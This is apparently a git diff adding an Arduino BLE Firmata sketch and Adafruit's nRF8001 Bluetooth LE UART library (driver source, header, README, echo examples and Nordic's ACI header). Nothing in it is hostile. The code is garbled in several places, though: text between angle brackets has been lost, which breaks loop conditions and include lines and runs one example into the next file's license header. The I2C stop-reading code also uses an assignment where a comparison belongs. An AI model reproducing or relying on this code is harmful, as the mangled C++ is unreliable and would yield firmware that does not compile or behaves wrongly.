")); Serial.println(port); + reportPINs[port] = (byte)value; + } + // do not disable analog reporting on these 8 pins, to allow some + // pins used for digital, others analog. Instead, allow both types + // of reporting to be enabled, but check if the pin is configured + // as analog when sampling the analog inputs. Likewise, while + // scanning digital pins, portConfigInputs will mask off values from any + // pins configured as analog +} + +/*============================================================================== + * SYSEX-BASED commands + *============================================================================*/ + +void sysexCallback(byte command, byte argc, byte *argv) +{ + byte mode; + byte slaveAddress; + byte slaveRegister; + byte data; + unsigned int delayTime; + + switch(command) { + case I2C_REQUEST: + mode = argv[1] & I2C_READ_WRITE_MODE_MASK; + if (argv[1] & I2C_10BIT_ADDRESS_MODE_MASK) { + //BLE_Firmata.sendString("10-bit addressing mode is not yet supported"); + Serial.println(F("10-bit addressing mode is not yet supported")); + return; + } + else { + slaveAddress = argv[0]; + } + + switch(mode) { + case I2C_WRITE: + Wire.beginTransmission(slaveAddress); + for (byte i = 2; i < argc; i += 2) { + data = argv[i] + (argv[i + 1] << 7); + #if ARDUINO >= 100 + Wire.write(data); + #else + Wire.send(data); + #endif + } + Wire.endTransmission(); + delayMicroseconds(70); + break; + case I2C_READ: + if (argc == 6) { + // a slave register is specified + slaveRegister = argv[2] + (argv[3] << 7); + data = argv[4] + (argv[5] << 7); // bytes to read + readAndReportData(slaveAddress, (int)slaveRegister, data); + } + else { + // a slave register is NOT specified + data = argv[2] + (argv[3] << 7); // bytes to read + readAndReportData(slaveAddress, (int)REGISTER_NOT_SPECIFIED, data); + } + break; + case I2C_READ_CONTINUOUSLY: + if ((queryIndex + 1) >= MAX_QUERIES) { + // too many queries, just ignore + BLE_Firmata.sendString("too many queries"); + break; + } + queryIndex++; + query[queryIndex].addr = slaveAddress; + query[queryIndex].reg = argv[2] + (argv[3] << 7); + query[queryIndex].bytes = argv[4] + (argv[5] << 7); + break; + case I2C_STOP_READING: + byte queryIndexToSkip; + // if read continuous mode is enabled for only 1 i2c device, disable + // read continuous reporting for that device + if (queryIndex <= 0) { + queryIndex = -1; + } else { + // if read continuous mode is enabled for multiple devices, + // determine which device to stop reading and remove it's data from + // the array, shifiting other array data to fill the space + for (byte i = 0; i < queryIndex + 1; i++) { + if (query[i].addr = slaveAddress) { + queryIndexToSkip = i; + break; + } + } + + for (byte i = queryIndexToSkip; i 0) { + i2cReadDelayTime = delayTime; + } + + if (!isI2CEnabled) { + enableI2CPins(); + } + + break; + case SERVO_CONFIG: + if(argc > 4) { + // these vars are here for clarity, they'll optimized away by the compiler + byte pin = argv[0]; + int minPulse = argv[1] + (argv[2] << 7); + int maxPulse = argv[3] + (argv[4] << 7); + + if (IS_PIN_SERVO(pin)) { + if (servos[PIN_TO_SERVO(pin)].attached()) + servos[PIN_TO_SERVO(pin)].detach(); + servos[PIN_TO_SERVO(pin)].attach(PIN_TO_DIGITAL(pin), minPulse, maxPulse); + setPinModeCallback(pin, SERVO); + } + } + break; + case SAMPLING_INTERVAL: + if (argc > 1) { + samplingInterval = argv[0] + (argv[1] << 7); + if (samplingInterval < MINIMUM_SAMPLING_INTERVAL) { + samplingInterval = MINIMUM_SAMPLING_INTERVAL; + } + } else { + //BLE_Firmata.sendString("Not enough data"); + } + break; + case EXTENDED_ANALOG: + if (argc > 1) { + int val = argv[1]; + if (argc > 2) val |= (argv[2] << 7); + if (argc > 3) val |= (argv[3] << 14); + analogWriteCallback(argv[0], val); + } + break; + case CAPABILITY_QUERY: + Serial.write(START_SYSEX); + Serial.write(CAPABILITY_RESPONSE); + for (byte pin=0; pin < TOTAL_PINS; pin++) { + if (IS_PIN_DIGITAL(pin)) { + Serial.write((byte)INPUT); + Serial.write(1); + Serial.write((byte)OUTPUT); + Serial.write(1); + } + if (IS_PIN_ANALOG(pin)) { + Serial.write(ANALOG); + Serial.write(10); + } + if (IS_PIN_PWM(pin)) { + Serial.write(PWM); + Serial.write(8); + } + if (IS_PIN_SERVO(pin)) { + Serial.write(SERVO); + Serial.write(14); + } + if (IS_PIN_I2C(pin)) { + Serial.write(I2C); + Serial.write(1); // to do: determine appropriate value + } + Serial.write(127); + } + Serial.write(END_SYSEX); + break; + case PIN_STATE_QUERY: + if (argc > 0) { + byte pin=argv[0]; + Serial.write(START_SYSEX); + Serial.write(PIN_STATE_RESPONSE); + Serial.write(pin); + if (pin < TOTAL_PINS) { + Serial.write((byte)pinConfig[pin]); + Serial.write((byte)pinState[pin] & 0x7F); + if (pinState[pin] & 0xFF80) Serial.write((byte)(pinState[pin] >> 7) & 0x7F); + if (pinState[pin] & 0xC000) Serial.write((byte)(pinState[pin] >> 14) & 0x7F); + } + Serial.write(END_SYSEX); + } + break; + case ANALOG_MAPPING_QUERY: + Serial.write(START_SYSEX); + Serial.write(ANALOG_MAPPING_RESPONSE); + for (byte pin=0; pin < TOTAL_PINS; pin++) { + Serial.write(IS_PIN_ANALOG(pin) ? PIN_TO_ANALOG(pin) : 127); + } + Serial.write(END_SYSEX); + break; + } +} + +void enableI2CPins() +{ + byte i; + // is there a faster way to do this? would probaby require importing + // Arduino.h to get SCL and SDA pins + for (i=0; i < TOTAL_PINS; i++) { + if(IS_PIN_I2C(i)) { + // mark pins as i2c so they are ignore in non i2c data requests + setPinModeCallback(i, I2C); + } + } + + isI2CEnabled = true; + + // is there enough time before the first I2C request to call this here? + Wire.begin(); +} + +/* disable the i2c pins so they can be used for other functions */ +void disableI2CPins() { + isI2CEnabled = false; + // disable read continuous mode for all devices + queryIndex = -1; + // uncomment the following if or when the end() method is added to Wire library + // Wire.end(); +} + +/*============================================================================== + * SETUP() + *============================================================================*/ + +void systemResetCallback() +{ + // initialize a defalt state + Serial.println(F("***RESET***")); + // TODO: option to load config from EEPROM instead of default + if (isI2CEnabled) { + disableI2CPins(); + } + for (byte i=0; i < TOTAL_PORTS; i++) { + reportPINs[i] = false; // by default, reporting off + portConfigInputs[i] = 0; // until activated + previousPINs[i] = 0; + } + // pins with analog capability default to analog input + // otherwise, pins default to digital output + for (byte i=0; i < TOTAL_PINS; i++) { + if (IS_PIN_ANALOG(i)) { + // turns off pullup, configures everything + setPinModeCallback(i, ANALOG); + } else { + // sets the output to 0, configures portConfigInputs + setPinModeCallback(i, INPUT); + } + } + // by default, do not report any analog inputs + analogInputsToReport = 0; + + /* send digital inputs to set the initial state on the host computer, + * since once in the loop(), this firmware will only send on change */ + /* + TODO: this can never execute, since no pins default to digital input + but it will be needed when/if we support EEPROM stored config + for (byte i=0; i < TOTAL_PORTS; i++) { + outputPort(i, readPort(i, portConfigInputs[i]), true); + } + */ +} + + +aci_evt_opcode_t lastBTLEstatus, BTLEstatus; + +void setup() +{ + Serial.begin(9600); + Serial.println(F("Adafruit BTLE Firmata test")); + + BLEserial.begin(); + + BTLEstatus = lastBTLEstatus = ACI_EVT_DISCONNECTED; +} + +void firmataInit() { + Serial.println(F("Init firmata")); + //BLE_Firmata.setFirmwareVersion(FIRMATA_MAJOR_VERSION, FIRMATA_MINOR_VERSION); + //Serial.println(F("firmata analog")); + BLE_Firmata.attach(ANALOG_MESSAGE, analogWriteCallback); + //Serial.println(F("firmata digital")); + BLE_Firmata.attach(DIGITAL_MESSAGE, digitalWriteCallback); + //Serial.println(F("firmata analog report")); + BLE_Firmata.attach(REPORT_ANALOG, reportAnalogCallback); + //Serial.println(F("firmata digital report")); + BLE_Firmata.attach(REPORT_DIGITAL, reportDigitalCallback); + //Serial.println(F("firmata pinmode")); + BLE_Firmata.attach(SET_PIN_MODE, setPinModeCallback); + //Serial.println(F("firmata sysex")); + BLE_Firmata.attach(START_SYSEX, sysexCallback); + //Serial.println(F("firmata reset")); + BLE_Firmata.attach(SYSTEM_RESET, systemResetCallback); + + Serial.println(F("Begin firmata")); + BLE_Firmata.begin(); + systemResetCallback(); // reset to default config +} +/*============================================================================== + * LOOP() + *============================================================================*/ + +void loop() +{ + // Check the BTLE link, how're we doing? + BLEserial.pollACI(); + // Link status check + BTLEstatus = BLEserial.getState(); + + // Check if something has changed + if (BTLEstatus != lastBTLEstatus) { + // print it out! + if (BTLEstatus == ACI_EVT_DEVICE_STARTED) { + Serial.println(F("* Advertising started")); + } + if (BTLEstatus == ACI_EVT_CONNECTED) { + Serial.println(F("* Connected!")); + // initialize Firmata cleanly + firmataInit(); + } + if (BTLEstatus == ACI_EVT_DISCONNECTED) { + Serial.println(F("* Disconnected or advertising timed out")); + } + // OK set the last status change to this one + lastBTLEstatus = BTLEstatus; + } + + // if not connected... bail + if (BTLEstatus != ACI_EVT_CONNECTED) { + delay(100); + return; + } + + // For debugging, see if there's data on the serial console, we would forwad it to BTLE + if (Serial.available()) { + BLEserial.write(Serial.read()); + } + + // Onto the Firmata main loop + + byte pin, analogPin; + + /* DIGITALREAD - as fast as possible, check for changes and output them to the + * BTLE buffer using Serial.print() */ + checkDigitalInputs(); + + /* SERIALREAD - processing incoming messagse as soon as possible, while still + * checking digital inputs. */ + while(BLE_Firmata.available()) { + //Serial.println(F("*data available*")); + BLE_Firmata.processInput(); + } + /* SEND FTDI WRITE BUFFER - make sure that the FTDI buffer doesn't go over + * 60 bytes. use a timer to sending an event character every 4 ms to + * trigger the buffer to dump. */ + + // make the sampling interval longer if we have more analog inputs! + uint8_t analogreportnums = 0; + for(uint8_t a=0; a<8; a++) { + if (analogInputsToReport & (1 << a)) { + analogreportnums++; + } + } + + samplingInterval = (uint16_t)MINIMUM_SAMPLE_DELAY + (uint16_t)ANALOG_SAMPLE_DELAY * (1+analogreportnums); + + currentMillis = millis(); + if (currentMillis - previousMillis > samplingInterval) { + previousMillis += samplingInterval; + /* ANALOGREAD - do all analogReads() at the configured sampling interval */ + for(pin=0; pin= PRINT_BUFFER_SIZE) { + // Send buffer when it's full and reset buffer index. + written += write((uint8_t *)buffer, PRINT_BUFFER_SIZE); + i = 0; + } + // Grab a new byte from flash. + c = pgm_read_byte(p++); + } + if (i > 0) { + // Send any remaining data in the buffer. + written += write((uint8_t *)buffer, i); + } + return written; +} + +size_t Adafruit_BLE_UART::write(uint8_t * buffer, uint8_t len) +{ + uint8_t bytesThisPass, sent = 0; + +#ifdef BLE_RW_DEBUG + Serial.print(F("\tWriting out to BTLE:")); + for (uint8_t i=0; i ACI_PIPE_TX_DATA_MAX_LEN) + bytesThisPass = ACI_PIPE_TX_DATA_MAX_LEN; + + if(!lib_aci_is_pipe_available(&aci_state, PIPE_UART_OVER_BTLE_UART_TX_TX)) + { + pollACI(); + continue; + } + + lib_aci_send_data(PIPE_UART_OVER_BTLE_UART_TX_TX, &buffer[sent], + bytesThisPass); + aci_state.data_credit_available--; + + delay(35); // required delay between sends + + if(!(len -= bytesThisPass)) break; + sent += bytesThisPass; + } + + return sent; +} + +size_t Adafruit_BLE_UART::write(uint8_t buffer) +{ +#ifdef BLE_RW_DEBUG + Serial.print(F("\tWriting one byte 0x")); Serial.println(buffer, HEX); +#endif + if (lib_aci_is_pipe_available(&aci_state, PIPE_UART_OVER_BTLE_UART_TX_TX)) + { + lib_aci_send_data(PIPE_UART_OVER_BTLE_UART_TX_TX, &buffer, 1); + aci_state.data_credit_available--; + + delay(35); // required delay between sends + return 1; + } + + pollACI(); + + return 0; +} + +/**************************************************************************/ +/*! + Update the device name (7 characters or less!) +*/ +/**************************************************************************/ +void Adafruit_BLE_UART::setDeviceName(const char * deviceName) +{ + if (strlen(deviceName) > 7) + { + /* String too long! */ + return; + } + else + { + memcpy(device_name, deviceName, strlen(deviceName)); + } +} + +/**************************************************************************/ +/*! + Handles low level ACI events, and passes them up to an application + level callback when appropriate +*/ +/**************************************************************************/ +void Adafruit_BLE_UART::pollACI() +{ + // We enter the if statement only when there is a ACI event available to be processed + if (lib_aci_event_get(&aci_state, &aci_data)) + { + aci_evt_t * aci_evt; + + aci_evt = &aci_data.evt; + switch(aci_evt->evt_opcode) + { + /* As soon as you reset the nRF8001 you will get an ACI Device Started Event */ + case ACI_EVT_DEVICE_STARTED: + { + aci_state.data_credit_total = aci_evt->params.device_started.credit_available; + switch(aci_evt->params.device_started.device_mode) + { + case ACI_DEVICE_SETUP: + /* Device is in setup mode! */ + if (ACI_STATUS_TRANSACTION_COMPLETE != do_aci_setup(&aci_state)) + { + if (debugMode) { + Serial.println(F("Error in ACI Setup")); + } + } + break; + + case ACI_DEVICE_STANDBY: + /* Start advertising ... first value is advertising time in seconds, the */ + /* second value is the advertising interval in 0.625ms units */ + if (device_name[0] != 0x00) + { + /* Update the device name */ + lib_aci_set_local_data(&aci_state, PIPE_GAP_DEVICE_NAME_SET , (uint8_t *)&device_name, strlen(device_name)); + } + lib_aci_connect(adv_timeout, adv_interval); + defaultACICallback(ACI_EVT_DEVICE_STARTED); + if (aci_event) + aci_event(ACI_EVT_DEVICE_STARTED); + } + } + break; + + case ACI_EVT_CMD_RSP: + /* If an ACI command response event comes with an error -> stop */ + if (ACI_STATUS_SUCCESS != aci_evt->params.cmd_rsp.cmd_status) + { + // ACI ReadDynamicData and ACI WriteDynamicData will have status codes of + // TRANSACTION_CONTINUE and TRANSACTION_COMPLETE + // all other ACI commands will have status code of ACI_STATUS_SUCCESS for a successful command + if (debugMode) { + Serial.print(F("ACI Command ")); + Serial.println(aci_evt->params.cmd_rsp.cmd_opcode, HEX); + Serial.println(F("Evt Cmd respone: Error. Arduino is in an while(1); loop")); + } + while (1); + } + if (ACI_CMD_GET_DEVICE_VERSION == aci_evt->params.cmd_rsp.cmd_opcode) + { + // Store the version and configuration information of the nRF8001 in the Hardware Revision String Characteristic + lib_aci_set_local_data(&aci_state, PIPE_DEVICE_INFORMATION_HARDWARE_REVISION_STRING_SET, + (uint8_t *)&(aci_evt->params.cmd_rsp.params.get_device_version), sizeof(aci_evt_cmd_rsp_params_get_device_version_t)); + } + break; + + case ACI_EVT_CONNECTED: + aci_state.data_credit_available = aci_state.data_credit_total; + /* Get the device version of the nRF8001 and store it in the Hardware Revision String */ + lib_aci_device_version(); + + defaultACICallback(ACI_EVT_CONNECTED); + if (aci_event) + aci_event(ACI_EVT_CONNECTED); + + case ACI_EVT_PIPE_STATUS: + if (lib_aci_is_pipe_available(&aci_state, PIPE_UART_OVER_BTLE_UART_TX_TX) && (false == timing_change_done)) + { + lib_aci_change_timing_GAP_PPCP(); // change the timing on the link as specified in the nRFgo studio -> nRF8001 conf. -> GAP. + // Used to increase or decrease bandwidth + timing_change_done = true; + } + break; + + case ACI_EVT_TIMING: + /* Link connection interval changed */ + break; + + case ACI_EVT_DISCONNECTED: + /* Restart advertising ... first value is advertising time in seconds, the */ + /* second value is the advertising interval in 0.625ms units */ + + defaultACICallback(ACI_EVT_DISCONNECTED); + if (aci_event) + aci_event(ACI_EVT_DISCONNECTED); + + lib_aci_connect(adv_timeout, adv_interval); + + defaultACICallback(ACI_EVT_DEVICE_STARTED); + if (aci_event) + aci_event(ACI_EVT_DEVICE_STARTED); + break; + + case ACI_EVT_DATA_RECEIVED: + defaultRX(aci_evt->params.data_received.rx_data.aci_data, aci_evt->len - 2); + if (rx_event) + rx_event(aci_evt->params.data_received.rx_data.aci_data, aci_evt->len - 2); + break; + + case ACI_EVT_DATA_CREDIT: + aci_state.data_credit_available = aci_state.data_credit_available + aci_evt->params.data_credit.credit; + break; + + case ACI_EVT_PIPE_ERROR: + /* See the appendix in the nRF8001 Product Specication for details on the error codes */ + if (debugMode) { + Serial.print(F("ACI Evt Pipe Error: Pipe #:")); + Serial.print(aci_evt->params.pipe_error.pipe_number, DEC); + Serial.print(F(" Pipe Error Code: 0x")); + Serial.println(aci_evt->params.pipe_error.error_code, HEX); + } + + /* Increment the credit available as the data packet was not sent */ + aci_state.data_credit_available++; + break; + } + } + else + { + // Serial.println(F("No ACI Events available")); + // No event in the ACI Event queue and if there is no event in the ACI command queue the arduino can go to sleep + // Arduino can go to sleep now + // Wakeup from sleep from the RDYN line + } +} + +/**************************************************************************/ +/*! + Configures the nRF8001 and starts advertising the UART Service + + @param[in] advTimeout + The advertising timeout in seconds (0 = infinite advertising) + @param[in] advInterval + The delay between advertising packets in 0.625ms units +*/ +/**************************************************************************/ +bool Adafruit_BLE_UART::begin(uint16_t advTimeout, uint16_t advInterval) +{ + /* Store the advertising timeout and interval */ + adv_timeout = advTimeout; /* ToDo: Check range! */ + adv_interval = advInterval; /* ToDo: Check range! */ + + /* Setup the service data from nRFGo Studio (services.h) */ + if (NULL != services_pipe_type_mapping) + { + aci_state.aci_setup_info.services_pipe_type_mapping = &services_pipe_type_mapping[0]; + } + else + { + aci_state.aci_setup_info.services_pipe_type_mapping = NULL; + } + aci_state.aci_setup_info.number_of_pipes = NUMBER_OF_PIPES; + aci_state.aci_setup_info.setup_msgs = (hal_aci_data_t*)setup_msgs; + aci_state.aci_setup_info.num_setup_msgs = NB_SETUP_MESSAGES; + + /* Pass the service data into the appropriate struct in the ACI */ + lib_aci_init(&aci_state); + + /* ToDo: Check for chip ID to make sure we're connected! */ + + return true; +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/Adafruit_BLE_UART.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/Adafruit_BLE_UART.h new file mode 100755 index 0000000..3511ef1 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/Adafruit_BLE_UART.h @@ -0,0 +1,86 @@ +/********************************************************************* +This is a library for our nRF8001 Bluetooth Low Energy Breakout + + Pick one up today in the adafruit shop! + ------> http://www.adafruit.com/products/1697 + +These displays use SPI to communicate, 4 or 5 pins are required to +interface + +Adafruit invests time and resources providing this open source code, +please support Adafruit and open-source hardware by purchasing +products from Adafruit! + +Written by Kevin Townsend/KTOWN for Adafruit Industries. +MIT license, check LICENSE for more information +All text above, and the splash screen below must be included in any redistribution +*********************************************************************/ + +#if ARDUINO >= 100 + #include "Arduino.h" +#else + #include "WProgram.h" +#endif + +#ifndef _ADAFRUIT_BLE_UART_H_ +#define _ADAFRUIT_BLE_UART_H_ + +#include "utility/aci_evts.h" + +#define BLE_RW_DEBUG + +extern "C" +{ + /* Callback prototypes */ + typedef void (*aci_callback)(aci_evt_opcode_t event); + typedef void (*rx_callback) (uint8_t *buffer, uint8_t len); +} + +class Adafruit_BLE_UART : public Stream +{ + public: + Adafruit_BLE_UART (int8_t req, int8_t rdy, int8_t rst); + + bool begin ( uint16_t advTimeout = 0, uint16_t advInterval = 80 ); + void pollACI ( void ); + size_t write ( uint8_t * buffer, uint8_t len ); + size_t write ( uint8_t buffer); + + size_t println(const char * thestr); + size_t print(const char * thestr); + size_t print(String thestr); + size_t print(int theint); + size_t print(const __FlashStringHelper *ifsh); + + void setACIcallback(aci_callback aciEvent = NULL); + void setRXcallback(rx_callback rxEvent = NULL); + void setDeviceName(const char * deviceName); + + // Stream compatibility + int available(void); + int read(void); + int peek(void); + void flush(void); + + aci_evt_opcode_t getState(void); + + private: + void defaultACICallback(aci_evt_opcode_t event); + void defaultRX(uint8_t *buffer, uint8_t len); + + // callbacks you can set with setCallback function for user extension + aci_callback aci_event; + rx_callback rx_event; + + bool debugMode; + uint16_t adv_timeout; + uint16_t adv_interval; + char device_name[8]; + + aci_evt_opcode_t currentStatus; + + // pins usd + int8_t _REQ, _RDY, _RST; +}; + +#endif diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/README.md b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/README.md new file mode 100755 index 0000000..48b7c4f --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/README.md @@ -0,0 +1,48 @@ +# Adafruit_nRF8001 # + +Driver and example code for Adafruit's nRF8001 Bluetooth Low Energy Breakout. + +## PINOUT ## + +The pin locations are defined in **ble_system.h**, the supported systems are defined in **hal_aci_tl.cpp**. The following pinout is used by default for the Arduino Uno: + +* SCK -> Pin 13 +* MISO -> Pin 12 +* MOSI -> Pin 11 +* REQ -> Pin 10 +* RDY -> Pin 2 (HW interrupt) +* ACT -> Not connected +* RST -> Pin 9 +* 3V0 - > Not connected +* GND -> GND +* VIN -> 5V + +RDY must be on pin 2 since this pin requires a HW interrupt. + +3V0 is an optional pin that exposes the output of the on-board 3.3V regulator. You can use this to supply 3.3V to other peripherals, but normally it will be left unconnected. + +ACT is not currently used in any of the existing examples, and can be left unconnected if necessary. + +# Examples # + +The following examples are included for the Adafruit nRF8001 Breakout + +## UART ## + +This example creates a UART-style bridge between the Arduino and any BLE capable device. + +You can send and receive up to 20 bytes at a time between your BLE-enabled phone or tablet and the Arduino. + +Any data sent to the Arduino will be displayed in the Serial Monitor output, and echo'ed back to the phone or tablet on the mobile device's RX channel. + +This demo creates a custom UART service, with one characteristic for TX and one for RX using the following UUIDs: + +* 6E400001-B5A3-F393-E0A9-E50E24DCCA9E for the Service +* 6E400002-B5A3-F393-E0A9-E50E24DCCA9E for the TX Characteristic (Property = Notify) +* 6E400003-B5A3-F393-E0A9-E50E24DCCA9E for the RX Characteristic (Property = Write without response) + +You can test the UART service with the free nRF UART apps from Nordic Semiconductors, available for both iOS and Android: + +* Compatible iOS devices: https://itunes.apple.com/us/app/nrf-uart/id614594903?mt=8 +* Compatible Android 4.3 and higher devices: https://play.google.com/store/apps/details?id=com.nordicsemi.nrfUARTv2 +* Compatible pre Android 4.3 Samsung devices (uses a proprietary Samsung BLE stack): https://play.google.com/store/apps/details?id=com.nordicsemi.nrfUART diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/examples/callbackEcho/callbackEcho.ino b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/examples/callbackEcho/callbackEcho.ino new file mode 100755 index 0000000..0001ab6 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/examples/callbackEcho/callbackEcho.ino @@ -0,0 +1,100 @@ +/********************************************************************* +This is an example for our nRF8001 Bluetooth Low Energy Breakout + + Pick one up today in the adafruit shop! + ------> http://www.adafruit.com/products/1697 + +Adafruit invests time and resources providing this open source code, +please support Adafruit and open-source hardware by purchasing +products from Adafruit! + +Written by Kevin Townsend/KTOWN for Adafruit Industries. +MIT license, check LICENSE for more information +All text above, and the splash screen below must be included in any redistribution +*********************************************************************/ + +// This version uses call-backs on the event and RX so there's no data handling in the main loop! + +#include +#include "Adafruit_BLE_UART.h" + +#define ADAFRUITBLE_REQ 10 +#define ADAFRUITBLE_RDY 2 +#define ADAFRUITBLE_RST 9 + +Adafruit_BLE_UART uart = Adafruit_BLE_UART(ADAFRUITBLE_REQ, ADAFRUITBLE_RDY, ADAFRUITBLE_RST); + +/**************************************************************************/ +/*! + This function is called whenever select ACI events happen +*/ +/**************************************************************************/ +void aciCallback(aci_evt_opcode_t event) +{ + switch(event) + { + case ACI_EVT_DEVICE_STARTED: + Serial.println(F("Advertising started")); + break; + case ACI_EVT_CONNECTED: + Serial.println(F("Connected!")); + break; + case ACI_EVT_DISCONNECTED: + Serial.println(F("Disconnected or advertising timed out")); + break; + default: + break; + } +} + +/**************************************************************************/ +/*! + This function is called whenever data arrives on the RX channel +*/ +/**************************************************************************/ +void rxCallback(uint8_t *buffer, uint8_t len) +{ + Serial.print(F("Received ")); + Serial.print(len); + Serial.print(F(" bytes: ")); + for(int i=0; i http://www.adafruit.com/products/1697 + +Adafruit invests time and resources providing this open source code, +please support Adafruit and open-source hardware by purchasing +products from Adafruit! + +Written by Kevin Townsend/KTOWN for Adafruit Industries. +MIT license, check LICENSE for more information +All text above, and the splash screen below must be included in any redistribution +*********************************************************************/ + +// This version uses the internal data queing so you can treat it like Serial (kinda)! + +#include +#include "Adafruit_BLE_UART.h" + +// Connect CLK/MISO/MOSI to hardware SPI +// e.g. On UNO & compatible: CLK = 13, MISO = 12, MOSI = 11 +#define ADAFRUITBLE_REQ 10 +#define ADAFRUITBLE_RDY 2 // This should be an interrupt pin, on Uno thats #2 or #3 +#define ADAFRUITBLE_RST 9 + +Adafruit_BLE_UART BTLEserial = Adafruit_BLE_UART(ADAFRUITBLE_REQ, ADAFRUITBLE_RDY, ADAFRUITBLE_RST); +/**************************************************************************/ +/*! + Configure the Arduino and start advertising with the radio +*/ +/**************************************************************************/ +void setup(void) +{ + Serial.begin(9600); + while(!Serial); // Leonardo/Micro should wait for serial init + Serial.println(F("Adafruit Bluefruit Low Energy nRF8001 Print echo demo")); + + // BTLEserial.setDeviceName("NEWNAME"); /* 7 characters max! */ + + BTLEserial.begin(); +} + +/**************************************************************************/ +/*! + Constantly checks for new events on the nRF8001 +*/ +/**************************************************************************/ +aci_evt_opcode_t laststatus = ACI_EVT_DISCONNECTED; + +void loop() +{ + // Tell the nRF8001 to do whatever it should be working on. + BTLEserial.pollACI(); + + // Ask what is our current status + aci_evt_opcode_t status = BTLEserial.getState(); + // If the status changed.... + if (status != laststatus) { + // print it out! + if (status == ACI_EVT_DEVICE_STARTED) { + Serial.println(F("* Advertising started")); + } + if (status == ACI_EVT_CONNECTED) { + Serial.println(F("* Connected!")); + } + if (status == ACI_EVT_DISCONNECTED) { + Serial.println(F("* Disconnected or advertising timed out")); + } + // OK set the last status change to this one + laststatus = status; + } + + if (status == ACI_EVT_CONNECTED) { + // Lets see if there's any data for us! + if (BTLEserial.available()) { + Serial.print("* "); Serial.print(BTLEserial.available()); Serial.println(F(" bytes available from BTLE")); + } + // OK while we still have something to read, get a character and print it out + while (BTLEserial.available()) { + char c = BTLEserial.read(); + Serial.print(c); + } + + // Next up, see if we have any data to get from the Serial console + + if (Serial.available()) { + // Read a line from Serial + Serial.setTimeout(100); // 100 millisecond timeout + String s = Serial.readString(); + + // We need to convert the line to bytes, no more than 20 at this time + uint8_t sendbuffer[20]; + s.getBytes(sendbuffer, 20); + char sendbuffersize = min(20, s.length()); + + Serial.print(F("\n* Sending -> \"")); Serial.print((char *)sendbuffer); Serial.println("\""); + + // write the data + BTLEserial.write(sendbuffer, sendbuffersize); + } + } +} diff --git a/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci.h b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci.h new file mode 100755 index 0000000..8535339 --- /dev/null +++ b/Projects/libraries/Installed_libs/Adafruit_BLE_UART/utility/aci.h @@ -0,0 +1,608 @@ +/* Copyright (c) 2010 Nordic Semiconductor. All Rights Reserved. + * + * The information contained herein is property of Nordic Semiconductor ASA. + * Terms and conditions of usage are described in detail in NORDIC + * SEMICONDUCTOR STANDARD SOFTWARE LICENSE AGREEMENT. + * + * Licensees are granted free, non-transferable use of the information. NO + * WARRANTY of ANY KIND is provided. This heading must NOT be removed from + * the file. + * + * $LastChangedRevision$ + */ + +/** + * @file + * + * @defgroup aci aci + * @{ + * @ingroup lib + * + * @brief Definitions for the ACI (Application Control Interface) + * @remarks + * + * Flow control from application mcu to nRF8001 + * + * Data flow control: + * The flow control is credit based and the credit is initally given using the "device started" event. + * A credit of more than 1 is given to the application mcu. + * These credits are used only after the "ACI Connected Event" is sent to the application mcu. + * + * every send_data that is used decrements the credit available by 1. This is to be tracked by the application mcu. + * When the credit available reaches 0, the application mcu shall not send any more send_data. + * Credit is returned using the "credit event", this returned credit can then be used to send more send_data. + * This flow control is not necessary and not available for Broadcast. + * The entire credit available with the external mcu expires when a "disconnected" event arrives. + * + * Command flow control: + * When a command is sent over the ACI, the next command shall not be sent until after a response + * for the command sent has arrived. + * + */ + +#ifndef ACI_H__ +#define ACI_H__ + +/** + * @def ACI_VERSION + * @brief Current ACI protocol version. 0 means a device that is not yet released. + * A numer greater than 0 refers to a specific ACI version documented and released. + * The ACI consists of the ACI commands, ACI events and error codes. + */ +#define ACI_VERSION (0x02) +/** + * @def BTLE_DEVICE_ADDRESS_SIZE + * @brief Size in bytes of a Bluetooth Address + */ +#define BTLE_DEVICE_ADDRESS_SIZE (6) +/** + * @def ACI_PACKET_MAX_LEN + * @brief Maximum length in bytes of a full ACI packet, including length prefix, opcode and payload + */ +#define ACI_PACKET_MAX_LEN (32) +/** + * @def ACI_ECHO_DATA_MAX_LEN + * @brief Maximum length in bytes of the echo data portion + */ +#define ACI_ECHO_DATA_MAX_LEN (ACI_PACKET_MAX_LEN - 3) +/** + * @def ACI_DEVICE_MAX_PIPES + * @brief Maximum number of ACI pipes + */ +#define ACI_DEVICE_MAX_PIPES (62) +/** + * @def ACI_PIPE_TX_DATA_MAX_LEN + * @brief Maximum length in bytes of a transmission data pipe packet + */ +#define ACI_PIPE_TX_DATA_MAX_LEN (20) +/** + * @def ACI_PIPE_RX_DATA_MAX_LEN + * @brief Maximum length in bytes of a reception data pipe packet + */ +#define ACI_PIPE_RX_DATA_MAX_LEN (22) +/** + * @def ACI_GAP_DEVNAME_MAX_LEN + * @brief Maximum length in bytes of the GAP device name + */ +#define ACI_GAP_DEVNAME_MAX_LEN (20) +/** + * @def ACI_AD_PACKET_MAX_LEN + * @brief Maximum length in bytes of an AD packet + */ +#define ACI_AD_PACKET_MAX_LEN (31) +/** + * @def ACI_AD_PACKET_MAX_USER_LEN + * @brief Maximum usable length in bytes of an AD packet + */ +#define ACI_AD_PACKET_MAX_USER_LEN (31 - 3) +/** + * @def ACI_PIPE_INVALID + * @brief Invalid pipe number + */ +#define ACI_PIPE_INVALID (0xFF) + +/** + * @enum aci_pipe_store_t + * @brief Storage type identifiers: local and remote + */ +typedef enum +{ + ACI_STORE_INVALID = 0x0, + ACI_STORE_LOCAL= 0x01, + ACI_STORE_REMOTE= 0x02 +} aci_pipe_store_t; + +/** + * @enum aci_pipe_type_t + * @brief Pipe types + */ +typedef enum +{ + ACI_TX_BROADCAST = 0x0001, + ACI_TX = 0x0002, + ACI_TX_ACK = 0x0004, + ACI_RX = 0x0008, + ACI_RX_ACK = 0x0010, + ACI_TX_REQ = 0x0020, + ACI_RX_REQ = 0x0040, + ACI_SET = 0x0080, + ACI_TX_SIGN = 0x0100, + ACI_RX_SIGN = 0x0200, + ACI_RX_ACK_AUTO = 0x0400 